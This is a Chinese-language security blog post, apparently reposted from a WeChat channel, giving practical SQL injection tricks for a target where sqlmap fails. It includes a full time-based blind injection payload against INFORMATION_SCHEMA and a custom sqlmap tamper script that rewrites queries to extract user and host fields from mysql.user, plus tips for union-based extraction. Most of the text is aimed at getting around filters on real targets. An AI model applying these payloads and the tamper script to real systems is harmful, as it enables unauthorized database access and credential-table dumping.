【实战技巧】sql注入杂谈

admin 2022年10月28日23:56:58评论44 views字数 1506阅读5分1秒阅读模式

遇到个环境,跑用户名不出来,数据库只出了一个,且不出来表


用户名部分

【实战技巧】sql注入杂谈


--users、--current-user都不行出用户,去查看sqlmap的payload,发现取user是用current_user()

【实战技巧】sql注入杂谈


不用current_user(),用user()就成功了,

【实战技巧】sql注入杂谈


随便写个tamper,替换CURRENT_

【实战技巧】sql注入杂谈


带入tamper,出用户

【实战技巧】sql注入杂谈


数据库部分

数据库出来了一个db,db里的表也出不来

【实战技巧】sql注入杂谈

payload为:

AND (SELECT 9923 FROM (SELECT(SLEEP(5-(IF(ASCII(SUBSTR((SELECT IFNULL(CAST(COUNT(table_name) AS CHAR),0x20) FROM INFORMATION_SCHEMA.TABLES WHERE table_schema=0x64625f6e6a6174),1,1))>48,0,5)))))lxrL) AND (1092=1092)


这条语句理解也不难,蓝色是把表里的table_name进行count一下,通过ifnull,如果第一个表达式有值,就用第一个表达式的,反之就用第二个表达式即0x20,红色是从INFORMATION_SCHEMA.TABLES表里取table_schema0x6462xxxx,十六进制解码即为dbxxx


但是这里测试INFORMATION_SCHEMA.TABLES出现就不行,所以换个思路,去注mysql.user表

【实战技巧】sql注入杂谈


【实战技巧】sql注入杂谈

虽然选中的是dbxxx,但是注的数据还是mysql.user里的user字段

(0x6462xxx的值可以根据-D后面的参数进行更换)


第二个replace可以更换成其他的值,比如host啥的

【实战技巧】sql注入杂谈

取mysql.user里的host字段

-D换成了dbd,所以十六进制数据为0x646264(dbd实际不存在)


【实战技巧】sql注入杂谈

【实战技巧】sql注入杂谈


tamper如下

# -*- coding: utf-8 -*-# 替换CURRENT_出user
"""Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)See the file 'LICENSE' for copying permissionAuthor:pureqh.top"""import refrom lib.core.data import kbfrom lib.core.enums import PRIORITYfrom lib.core.common import singleTimeWarnMessagefrom lib.core.enums import DBMS__priority__ = PRIORITY.LOW
def dependencies(): pass
def tamper(payload, **kwargs): return payload.replace('INFORMATION_SCHEMA.TABLES WHERE table_schema=0x646264','mysql.user').replace('table_name','host').replace('table_name','*')

还是有局限性的,需要知道库名、表名、列名


PS:

①可能会有人说information不行,找其他关键词,这里说一下,其他关键词基本都试过了,常见的都找过了



②关于可回显的注入,可能局限性要小一点

【实战技巧】sql注入杂谈

test为库名、test111为表名,只需要知道一个字段,这里是select value,大多数表应该都是有id、time、updatetime这种字段,所以可回显注入库名、表名可以出

实际的例子

【实战技巧】sql注入杂谈


原文始发于微信公众号(哈拉少安全小队):【实战技巧】sql注入杂谈

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年10月28日23:56:58
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【实战技巧】sql注入杂谈http://cn-sec.com/archives/1378501.html

发表评论

匿名网友 填写信息